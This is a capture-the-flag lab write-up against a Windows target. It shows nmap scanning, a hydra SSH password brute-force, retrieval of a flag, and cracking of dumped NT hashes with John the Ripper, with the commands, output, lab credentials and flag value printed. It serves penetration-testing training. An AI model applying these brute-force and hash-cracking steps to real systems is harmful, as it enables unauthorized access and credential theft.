Lab Environment

Attacking IP: 10.10.40.4

Victim IP: target.ine.local - 10.3.20.187

creds:

alice:princess1

david:orange

A target machine is accessible at target.ine.local. Identify the services and capure the flags.

nmap -sV -sC 10.3.26.200
Starting Nmap 7.94SVN ( <https://nmap.org> ) at 2026-01-01 19:53 IST
Nmap scan report for target.ine.local (10.3.26.200)
Host is up (0.0032s latency).
Not shown: 990 closed tcp ports (reset)
PORT      STATE SERVICE            VERSION
22/tcp    open  ssh                OpenSSH for_Windows_9.5 (protocol 2.0)
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=WIN-GQ7PTVEC6HL
| Not valid before: 2025-12-31T14:13:35
|_Not valid after:  2026-07-02T14:13:35
|_ssl-date: 2026-01-01T14:24:54+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: WIN-GQ7PTVEC6HL
|   NetBIOS_Domain_Name: WIN-GQ7PTVEC6HL
|   NetBIOS_Computer_Name: WIN-GQ7PTVEC6HL
|   DNS_Domain_Name: WIN-GQ7PTVEC6HL
|   DNS_Computer_Name: WIN-GQ7PTVEC6HL
|   Product_Version: 6.3.9600
|_  System_Time: 2026-01-01T14:24:47+00:00
49152/tcp open  msrpc              Microsoft Windows RPC
49153/tcp open  msrpc              Microsoft Windows RPC
49154/tcp open  msrpc              Microsoft Windows RPC
49155/tcp open  msrpc              Microsoft Windows RPC
49167/tcp open  msrpc              Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:0:2: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2026-01-01T14:24:48
|_  start_date: 2026-01-01T14:13:25

We should note the openssh open port on this windows machine. This is likely used by admin for remote management and can be a likely initial target for us. The task is giving us the username of alice and after finding the open service port 22 we can use a tool like hydra to bruteforce the login to find their password.

hydra -l alice -P /usr/share/wordlists/metasploit/unix_passwords.txt target.ine.local ssh
[22][ssh] host: target.ine.local   login: alice   password: princess1

Success!

Now we can ssh to port 22 with the credentials

 Directory of C:\Users\alice                                                                                                    

01/01/2026  02:14 PM    <DIR>          .                                                                                        
01/01/2026  02:14 PM    <DIR>          ..                                                                                       
09/05/2020  07:55 AM    <DIR>          Contacts                                                                                 
09/05/2020  09:07 AM    <DIR>          Desktop                                                                                  
06/19/2024  11:42 AM    <DIR>          Documents                                                                                
09/05/2020  09:11 AM    <DIR>          Downloads                                                                                
09/05/2020  07:55 AM    <DIR>          Favorites                                                                                
01/01/2026  02:14 PM                34 flag1.txt                                                                                
06/20/2024  05:28 AM             2,416 hashdump.txt                                                                             
09/05/2020  07:55 AM    <DIR>          Links                                                                                    
09/05/2020  07:55 AM    <DIR>          Music                                                                                    
09/05/2020  07:55 AM    <DIR>          Pictures                                                                                 
09/05/2020  07:55 AM    <DIR>          Saved Games                                                                              
09/05/2020  07:55 AM    <DIR>          Searches                                                                                 
09/05/2020  07:55 AM    <DIR>          Videos                                                                                   
               2 File(s)          2,450 bytes                                                                                   
              13 Dir(s)     360,873,984 bytes free                                                                              

alice@WIN-GQ7PTVEC6HL C:\Users\alice>type flag1.txt                                                                             
5d4223ee70c04de7ac078013f629dcb5 

Great, we check her directory and find the first flag. We also see an interesting hashdump.txt file that’s likely needed for a future task.

We can simply copy these into a text file back on our attacking machine now (The hashes we found).

Next we used john the ripper to crack the hashes and we found one more password for the user david

john --format=nt --wordlist=/usr/share/wordlists/metasploit/unix_passwords.txt hashes.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 30 password hashes with no different salts (NT [MD4 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=48
Press 'q' or Ctrl-C to abort, almost any other key for status
princess1        (alice)     
orange           (david)